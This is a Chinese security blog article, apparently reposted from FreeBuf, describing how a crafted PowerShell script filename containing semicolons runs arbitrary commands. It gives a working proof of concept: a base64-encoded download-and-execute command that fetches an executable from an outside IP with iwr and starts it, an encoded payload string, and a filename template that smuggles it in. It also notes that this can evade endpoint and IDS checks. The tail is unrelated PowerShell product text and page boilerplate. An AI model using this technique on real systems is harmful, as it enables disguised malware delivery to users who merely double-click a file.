powershell目录带空格_精心构造的PS1文件名导致Powershell命令执行

文章揭示了在Windows PowerShell中,如果PS1脚本文件名包含分号或空格,可能导致任意代码执行的安全隐患。通过特殊格式的文件名,攻击者可以执行exe、bat等文件,甚至在用户已将PowerShell设为默认打开.ps1程序时,只需双击文件即可触发。尽管需要用户交互,但这种利用方式可能绕过一些防护系统。
摘要由CSDN通过智能技术生成

Windows PowerShell是专门为系统管理员设计的Windows命令行外壳程序。PowerShell包括可独立使用或组合使用的交互式提示和脚本环境。

我们在一次测试中偶然发现,由于信任未过滤的文件名,因此在运行特殊命名的脚本时,PowerShell可能会执行任意代码。

测试发现当“ .ps1”文件包含分号“;”或者空格作为文件名一部分时,就会出现这种情况。

测试发现运行带有特殊格式文件名的脚本后,可以导致执行其他木马如exe文件,也可以是任何可执行文件如.com,.exe,.bat,.cpl,.js,.vbs和.wsf。

例如:使用”.\calc;1.ps1”则可以用来执行calc.exe,如果使用标准调用了该脚本Windows外壳程序“ cmd.exe”和“ calc.exe”与ps1脚本位于同一目录中。如下图所示:

28a45b148cd6e24b1fcb0185671c400b.png

但是,如果这些脚本是从PowerShells Shell运行的而不是“ cmd.exe”,则“&”(调用运算符)将阻止我们的漏洞利用。

不过,如果用户启用了“ .ps1”脚本以将PowerShell作为默认程序打开,则只需双击该文件即可触发漏洞利用。“&”呼叫运算符将不再起效果。另外,如果用户尚未启用PowerShell来打开.ps1脚本,

0fb38af846378eb59889535f1907c2ca.gif

默认情况下 然后从cmd.exe运行脚本,例如:

c:\>powershell "\Hello;World.ps1"

也可以直接运行,而无需放入PowerShell shell。

我的PoC测试下载一个远程可执行文件,将其保存到计算机中,然后执行它,而与PS文件本身的内容无关紧要。PS文件本身就是一个简单的:Write-Host “Hello World!”

另外,请注意,在vicitm调用“ iwr”(调用webrequest)之后,需要使用“%CD”来定位当前工作目录,缩写为空格,为了确保下载完成,需要睡眠2秒钟,然后执行。

测试过程如下:

1、生成powershell命令:首先,我们创建一个用于混淆的Base64编码的文件名;它将下载并执行一个在本例中名为“ calc.exe”的远程可执行文件。

将可执行文件托管在Web服务器上,或仅使用python -m SimpleHTTPServer 80或任何其他工具。

C:\>powershell [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes("'powershell iwr 192.168.220.134/calc.exe -OutFile %CD%/calc.exe;sleep -s 2;start calc.exe'"))

2434208a63bd6b145c8677d8feb6a623.png

注意windows的文件名长度,尽量简写,如:

C:\>powershell [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes("'powershell iwr 192.168.220.134/p %CD%/p.exe;sleep -s 2;start p.exe'"))

cABvAHcAZQByAHMAaABlAGwAbAAgAGkAdwByACAAMQA5ADIALgAxADYAOAAuADIAMgAwAAMQAzADQALwBwACAAYwA6AFwwBpAG4AZABvAHcAcwBcAGQAZQBiAHUAZwBcAFcASQBBAC8AcAAuAGUAeABlADsAcwBsAGUAZQBwACAALQBzACAAMgA7AHMAdABhAHIAdAAgAHAALgBlAHgAZQA=

这可能会破坏PowerShell的完整性,因为它可能允许意外的代码执行。即使脚本内容经过视觉检查也是如此。

我们也许还可以绕过某些端点保护或IDS系统,这些系统可能只查看文件的内容或标头,而不查看文件名。

为此,用户在打开“ .ps1”文件时必须已将PowerShell启用为其默认程序。

2、然后给PS脚本起一个普通的开始名称,然后使用“;”分隔命令。“ -e”是EncodedCommand的缩写,用于再次保存文件名空间。例如

test; powershell -e ; 2.ps1

3、双击以在PowerShell中打开,效果如下:

86d9131b4f2f3faa5bdc4e3b908d0c91.gif

或者在命令行下执行:

c6497cad4a1d7ec72d65d0ce15217fc1.png

以上示例是使用了“文件名嵌入式下载器”,其实我们还可以在同一目录中调用其他各种类型的第二特洛伊木马文件。

使用起来,是需要用户交互,需要想一个场景来利用。

显然运行任何随机PS脚本都是危险的……

但是,我们查看了文件内容,

a314c59320cbf7634ba64759048a9262.png

仅仅是打印了一个字符串,文件名理论上被查杀的可能性小。

*本文原创作者:freexploit,本文属于FreeBuf原创奖励计划,未经许可禁止转载

8abaf25f5823d27c6d813d77351016bc.gif

精彩推荐

b3214c26828d7b73135e8b46e0df9e64.png

0389605b319a848507f09cba18d12cd3.png

c5c5cef42454cb4e4e1ec5458109bbb8.png

4e88ebb61e3cbcf55221e357e74f57d2.png1cc11803a87554859277e8f0e0dde0e4.gif

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Microsoft Windows PowerShell 是一种新的命令行外壳和脚本语言,用于进行系统治理和自动化。Windows PowerShell 建立在 .NET Framework 的基础上,IT 专业人员可通过命令或脚本来治理计算机,从而通过系统自动化来提高工作效率。 Windows PowerShell 包括: * 129 个命令行工具(称为“cmdlet”),用于执行常见系统治理任务,如治理服务、进程、事件日志、证书、注册表以及使用 Windows Management Instrumentation (WMI)。 * 采用标准命名约定和通用参数的命令行工具,易于把握和使用;以及用于对数据和对象进行排序、筛选以及格式设置的简便工具。 * 对现有脚本语言、现有命令行工具以及多种 Windows 版本的支持,其中包括 Windows XP、Windows Server 2003、Windows Vista 以及 Windows Server(代码名称为“Longhorn”)。 * 方便的功能,使用户能够浏览数据存储(如注册表和证书存储),就像面对文件系统一样。 * 用于治理位于不同存储中以及采用不同格式的 Windows 数据的标准实用程序,这些数据包括 Active Directory (ADSI)、Windows Management Instrumentation (WMI)、组件对象模型 (COM) 对象、ActiveX 数据对象 (ADO)、HTML 和 XML。 * 在命令行进行的高级表达式分析和 .NET 对象处理,其中包括对对象进行流水线处理以帮助提高 IT 专业人员的工作效率。 * 可扩展的接口,使独立软件供给商和企业开发人员能够构建自定义 cmdlet 以满足特有的应用程序和系统治理要求。 安装本更新程序后,可能需要重新启动计算机。我们根据 Windows Vista 许可条款向您提供本更新程序并授予您使用许可。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值